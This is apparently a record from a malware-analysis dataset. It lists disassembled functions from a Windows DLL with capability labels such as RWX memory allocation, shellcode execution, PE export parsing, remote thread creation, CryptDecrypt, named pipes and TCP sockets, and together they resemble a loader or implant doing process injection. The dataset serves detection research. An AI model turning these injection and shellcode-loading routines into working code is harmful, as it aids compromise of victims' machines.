joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005afc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, 0x40
mov ebp, 0x3000
mov r9d, esi
mov r8d, ebp
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180005b61
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x18002872c]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtLockVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180005bb6
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
mov qword [rsp + 0x68], rcx
lea r8, [rsp + 0x60]
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov rcx, r15
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx esi, word [rbx + 0x14]
mov ebp, r14d
add rsi, 0x2c
cmp r14w, word [rbx + 6]
jae 0x180005c1f
add rsi, rbx
mov r8d, dword [rsi]
mov rcx, r15
mov edx, dword [rsi - 8]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov r9d, dword [rsi - 4]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
lea rsi, [rsi + 0x28]
inc ebp
cmp ebp, eax
jl 0x180005beb
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006124
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x180006155
xor eax, eax
jmp 0x1800061f5
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
cmp r13, 0x10000
jae 0x18000619e
movzx eax, r13w
sub eax, dword [rcx + 0x10]
jmp 0x1800061c7
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x1800061e9
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.18001b340
test eax, eax
jne 0x1800061d5
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x1800061e9
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x1800061a5
jmp 0x1800061f2
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x180006358
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x1800063f3
test edx, edx
je 0x1800063f3
mov rdx, r8
call fcn.18000621c
test eax, eax
je 0x1800063e8
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800063e8
call rsi
test rax, rax
je 0x1800063d2
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x1800063f1
jmp 0x1800063f5
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800065d0
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x1800065f2
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
sub r10, 1
jne 0x1800065db
ret
Function at 0x180006c60
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [0x180038e70], 0
mov rbx, rcx
jne 0x180006c86
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x180038e70], rax
mov rcx, rbx
call fcn.180009aac
cmp dword [rbx + 8], 0xa2a1de0
mov edi, eax
je 0x180006cc9
cmp dword [rbx + 8], 0x56a2b5f0
je 0x180006cc0
cmp dword [rbx + 8], 0xea320efe
jne 0x180006cb3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rbx, qword [rsp + 0x30]
mov eax, edi
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x180006d20
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rsi, r8
mov r12, rdx
mov r13, rcx
lea r8d, [r9 - 4]
xor ebx, ebx
mov rcx, rsi
and qword [rbp - 0x10], rbx
lea rdx, [rsi + 4]
call fcn.1800065d0
lea edx, [rbx + 0x48]
lea ecx, [rbx + 1]
call fcn.1800178f8
mov rdi, rax
test rax, rax
jne 0x180006d71
lea ebx, [rax + 8]
jmp 0x180006ee8
mov ecx, dword [rsi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r13 + 0xa0]
test rcx, rcx
je 0x180006e7e
cmp dword [rcx + 0x14], ebx
je 0x180006e7e
test eax, eax
je 0x180006e7e
mov ecx, dword [rsi + 0x18]
lea r14, [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r13 + 0xa0]
lea r9, [rbp - 0x10]
sub eax, 0x18
lea r15, [r14 + 0x10]
mov dword [rbp + 0x58], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
je 0x180006e2d
mov rcx, qword [rbp - 0x10]
lea r8, [rbp + 0x50]
xor r9d, r9d
mov dword [rbp + 0x50], 1
lea edx, [r9 + 4]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006e2d
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
mov r8, r14
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006e2d
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], r15
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x180006e3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
je 0x180006ee8
jmp 0x180006ea9
mov r8d, dword [rbp + 0x58]
test r8, r8
je 0x180006e6f
test r14, r14
jne 0x180006e5f
call fcn.18001b880
mov dword [rax], socket
call fcn.18001b760
jmp 0x180006e6f
test r15, r15
je 0x180006e4d
mov rdx, r15
mov rcx, r14
call fcn.180015fd0
mov ecx, dword [rbp + 0x58]
add ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsi + 0x18], eax
mov ecx, dword [rsi + 0x18]
mov dword [rdi + 0x18], ecx
mov eax, dword [rsi + 0x1c]
mov dword [rdi + 0x1c], eax
call qword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
mov ecx, eax
mov dword [rdi + 0x28], eax
call fcn.1800178f0
mov qword [rdi + 0x20], rax
test rax, rax
jne 0x180006eb3
lea ebx, [rax + 8]
mov rcx, rdi
call fcn.180004248
jmp 0x180006ee8
mov r8d, dword [rdi + 0x28]
lea rdx, [rsi + 0x20]
test r8, r8
je 0x180006ee4
mov rcx, rax
test rdx, rdx
je 0x180006ecf
call fcn.180015fd0
jmp 0x180006ee4
call fcn.180016890
call fcn.18001b880
mov dword [rax], socket
call fcn.18001b760
mov qword [r12], rdi
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x180006ef7
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007e14
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, rcx
mov ebp, reloc.WS2_32.dll_ntohl
mov r14, r9
mov r15, r8
mov esi, edx
lea ecx, [rbp + 0x2a]
call fcn.1800178f0
mov rbx, rax
test rax, rax
je 0x180007f98
xor edx, edx
lea r8d, [rbp + 0x2a]
mov rcx, rax
call fcn.180016890
mov qword [rbx], rdi
lea edx, [rbp - 0xc]
mov rcx, rdi
test esi, esi
je 0x180007e9f
call fcn.180006124
mov rcx, qword [rbx]
lea edx, [rbp - 0xb]
mov qword [rbx + 8], rax
call fcn.180006124
mov rcx, qword [rbx]
lea edx, [rbp - 9]
mov qword [rbx + 0x10], rax
call fcn.180006124
mov rcx, qword [rbx]
lea edx, [rbp - 0xa]
mov qword [rbx + 0x18], rax
call fcn.180006124
jmp 0x180007edb
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 3
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 5
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 4
mov qword [rbx + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x20], rax
mov r8, qword [rbx + 8]
test r8, r8
je 0x180007f46
mov rax, qword [rsp + 0x60]
mov rdx, r15
mov qword [rbx + 0x30], rax
mov rcx, qword [0x1800375e0]
call r8
mov rcx, qword [0x180038e40]
mov ebp, eax
mov qword [rbx + 0x28], rcx
test eax, eax
jne 0x180007f3e
cmp qword [rbx + 0x18], 0
je 0x180007f2d
mov rdi, qword [rbx + 0x30]
jmp 0x180007f28
mov ecx, dword [rdi]
call qword [rbx + 0x18]
mov rdi, qword [rdi + 0xb8]
test rdi, rdi
jne 0x180007f1c
mov rcx, qword [0x180038e80]
mov rdx, rbx
call fcn.180005edc
jmp 0x180007f46
mov rcx, rbx
call fcn.1800178e8
test r14, r14
je 0x180007f98
mov rdi, qword [rbx + 0x28]
jmp 0x180007f92
mov r8d, dword [rdi]
mov edx, 0x2000b
mov rcx, r14
call fcn.180004434
mov rax, qword [0x180038e80]
mov rsi, qword [rax]
jmp 0x180007f86
mov rax, qword [rsi + 0x10]
cmp rax, rbx
je 0x180007f83
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x180007f83
mov ecx, dword [rdi]
call rdx
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180007f6d
mov rdi, qword [rdi + 0xb8]
cmp rdi, qword [rbx + 0x30]
jne 0x180007f51
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1800083b0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov qword [rax - 0x28], rbx
mov r14, rdx
mov dword [rax - 0x30], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rax - 0x38], 1
mov edx, 0x40000000
mov dword [rax + 0x20], ebx
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x180008406
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000843c
test edi, edi
je 0x180008433
mov edx, esi
lea r9, [rsp + 0x78]
add rdx, r14
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180008433
add esi, dword [rsp + 0x78]
sub edi, dword [rsp + 0x78]
jne 0x18000840a
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180008540
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [rsp + 0x98]
lea rdi, [r11 - 0x18]
mov ebx, dword [rsp + 0x90]
test rax, rax
mov rsi, r9
mov rbp, r8
cmovne rdi, rax
mov r14, rcx
mov qword [r11 - 0x38], rdi
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x48], r9
mov r9, r8
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x18000866a
and qword [rsp + 0x98], 0
cmp dword [0x180038e90], 0
mov rax, qword [0x180038e88]
jne 0x1800085f9
test rax, rax
jne 0x1800085ef
lea rcx, [0x18002872c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180038e88], rax
mov dword [0x180038e90], 1
test rax, rax
je 0x18000865f
and qword [rsp + 0x48], 0
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rbp
mov rcx, r14
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
shr ebx, 2
and ebx, 1
mov r8d, ebx
call rax
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x18000866a
test rdi, rdi
je 0x18000866a
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rdi], eax
jmp 0x18000866a
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x98]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x180009128
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
xor ebx, ebx
mov rcx, qword [rcx + 0x101c8]
mov esi, ebx
mov ebp, r8d
mov r15, rdx
call fcn.18000ed64
test ebp, ebp
je 0x1800091b4
lea r14, [rdi + 0x20]
mov rcx, qword [rdi + 0x190]
mov r8d, ebp
sub r8d, esi
mov dword [rsp + 0x60], ebx
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rdi + 0x190]
lea r8, [rsp + 0x60]
mov r9d, 1
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x1800091ac
add esi, dword [rsp + 0x60]
cmp esi, ebp
jb 0x180009161
jmp 0x1800091b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rdi + 0x101c8]
call fcn.18000ed84
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x180009470
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rsp + 0x70]
xor ebx, ebx
lea rcx, str.SeSecurityPrivilege
lea edx, [rbx + 1]
call fcn.1800093a0
test eax, eax
jne 0x180009506
xorps xmm0, xmm0
lea rcx, [rsp + 0x40]
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
call fcn.1800091fc
lea rax, [rsp + 0x40]
mov r9d, 0xff
mov qword [rsp + 0x38], rax
lea rcx, [rdi + 0x40]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov dword [rsp + 0x28], 0x10000
mov edx, 0x40000003
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp dword [rsp + 0x70], ebx
jne 0x180009506
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, str.SeSecurityPrivilege
call fcn.1800093a0
mov rax, qword [rdi + 0x190]
cmp rax, 0xffffffffffffffff
jne 0x18000955b
mov qword [rsp + 0x38], rbx
lea rcx, [rdi + 0x40]
mov dword [rsp + 0x30], ebx
mov r9d, 0xff
mov dword [rsp + 0x28], 0x10000
xor r8d, r8d
mov edx, 0x40000003
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp rax, 0xffffffffffffffff
jne 0x18000955b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1800095b3
xor r9d, r9d
xor ecx, ecx
lea edx, [r9 + 1]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x180009551
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x38], rax
test rax, rax
je 0x180009551
mov rcx, qword [rdi + 0x18]
lea rax, [0x1800090a4]
lea r9, [0x180008d3c]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rdi
call fcn.1800087b8
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x18000a298
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov rdi, r9
mov dword [rax + 0x18], ebx
mov esi, r8d
mov dword [r9], ebx
mov rbp, rdx
mov r14, rcx
test r8d, r8d
je 0x18000a311
mov eax, ebx
mov r15d, 0x10000
mov rcx, qword [r14 + 8]
lea r9, [rsp + 0x60]
mov r8d, esi
mov edx, eax
sub r8d, eax
mov qword [rsp + 0x20], rbx
cmp r8d, r15d
cmova r8d, r15d
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000a309
mov eax, dword [rsp + 0x60]
add eax, dword [rdi]
mov dword [rdi], eax
cmp eax, esi
jb 0x18000a2d1
jmp 0x18000a311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x18000a924
Capabilities:
Connect pipe
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x60
mov rsi, rdx
lea r8, [rax + 0x18]
mov rdi, rcx
mov edx, 1
lea rcx, str.SeSecurityPrivilege
call fcn.1800093a0
test eax, eax
jne 0x18000a9d0
xorps xmm0, xmm0
lea rcx, [rsp + 0x40]
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
call fcn.1800091fc
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov r9d, 0xff
and dword [rsp + 0x30], 0
mov rcx, rdi
mov dword [rsp + 0x28], 0x10000
lea edx, [r8 + 3]
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [rsp + 0x80], 0
jne 0x18000a9ca
lea r8, [rsp + 0x80]
xor edx, edx
lea rcx, str.SeSecurityPrivilege
call fcn.1800093a0
cmp rbx, 0xffffffffffffffff
jne 0x18000aa16
and qword [rsp + 0x38], 0
xor r8d, r8d
and dword [rsp + 0x30], 0
mov r9d, 0xff
mov dword [rsp + 0x28], 0x10000
mov rcx, rdi
mov dword [rsp + 0x20], 0x10000
lea edx, [r8 + 3]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp rbx, 0xffffffffffffffff
jne 0x18000aa16
or rax, 0xffffffffffffffff
jmp 0x18000aa5d
call fcn.180006584
mov edi, eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18000aa5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
je 0x18000aa5a
mov ecx, 1
call fcn.180006528
call fcn.180006584
sub eax, edi
cmp eax, dword [rsi + 4]
jb 0x18000aa1d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000aa10
mov rax, rbx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x18000aa70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [rcx + 8]
xorps xmm0, xmm0
mov rsi, rcx
xor ebx, ebx
mov rcx, qword [rcx + 0x28]
mov r12, rdx
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov r15, qword [rax + 0x60]
call fcn.18000ed64
lea edi, [rbx + 1]
test rdi, rdi
je 0x18000aafb
mov rcx, qword [r15 + 8]
lea rdx, [rbp - 0x20]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x30]
mov r8d, 0x20
mov eax, ebx
sub r8d, ebx
add rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000aaeb
add ebx, dword [rbp + 0x30]
cmp ebx, 0x20
jne 0x18000aab0
xor edi, edi
jmp 0x18000aab0
mov ecx, 0x490
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x18000ac2b
cmp ebx, 0x20
jne 0x18000ac2b
cmp byte [rbp - 0x1d], 0
jne 0x18000ab50
mov edi, dword [rbp - 0x20]
add edi, 0xffffffe4
movsxd rcx, edi
call fcn.1800178f0
lea r9, [rbp + 0x30]
mov r8d, edi
mov rdx, rax
mov rcx, r15
mov rbx, rax
call fcn.18000a298
mov rcx, rbx
call fcn.1800178e8
cmp edi, dword [rbp + 0x30]
jne 0x18000ac2b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
and qword [r12], 0
jmp 0x18000ac2b
mov r8d, 0x1c
lea rdx, [rbp - 0x1c]
lea rcx, [rbp - 0x20]
call fcn.1800065d0
mov rcx, qword [rsi + 0x20]
add rcx, 0x20
call fcn.1800065fc
test eax, eax
je 0x18000ab8b
mov rcx, qword [rsi + 0x20]
lea rdx, [rbp - 0x1c]
add rcx, 0x20
mov r8d, reloc.WS2_32.dll_recv
call fcn.180015fd0
mov ecx, dword [rbp - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [rax - 8]
lea r14d, [rbx + 0x20]
mov ecx, r14d
call fcn.1800178f0
mov rdi, rax
test rax, rax
jne 0x18000abb3
lea ecx, [rax + 8]
jmp 0x18000aaf0
mov r8d, 0x1c
lea rdx, [rbp - 0x1c]
lea rcx, [rbp - 0x20]
call fcn.1800065d0
mov r8d, 0x20
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.180015fd0
lea rdx, [rdi + 0x20]
mov r8d, ebx
lea r9, [rbp + 0x30]
mov rcx, r15
call fcn.18000a298
cmp dword [rbp + 0x30], ebx
je 0x18000ac0a
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call fcn.1800178e8
jmp 0x18000ac33
mov r9d, r14d
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.180006d20
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rdi
call fcn.1800178e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rsi + 0x28]
call fcn.18000ed84
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x18000b364
Capabilities:
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r13
push r14
lea rbp, [rax - 0x108]
sub rsp, 0x1f0
and qword [rdx], 0
mov r14, rdx
movzx esi, cx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x198
call fcn.180016890
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000b3c1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x18000b499
xor edi, edi
lea edx, [rdi + 1]
lea ecx, [rdi + 0x17]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_socket]
lea r13d, [rdi + 2]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000b413
and dword [rbp + 0x118], edi
lea r9, [rbp + 0x118]
lea edx, [rdi + 0x29]
mov dword [rsp + 0x20], 4
lea r8d, [rdi + 0x1b]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x18000b42d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, 1
mov ecx, r13d
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
mov edi, 1
and qword [rsp + 0x44], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x34], xmm0
test edi, edi
je 0x18000b457
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htons]
movzx eax, ax
mov dword [rsp + 0x34], eax
mov word [rsp + 0x30], r13w
jmp 0x18000b46e
movups xmm0, xmmword [0x180029270]
mov eax, reloc.WS2_32.dll_socket
mov word [rsp + 0x30], ax
movdqu xmmword [rsp + 0x38], xmm0
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
neg edi
lea rdx, [rsp + 0x30]
mov r9, r14
mov word [rsp + 0x32], ax
sbb r8d, r8d
mov rcx, rbx
and r8d, 0xfffffff4
add r8d, 0x1c
call fcn.18000b4b8
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret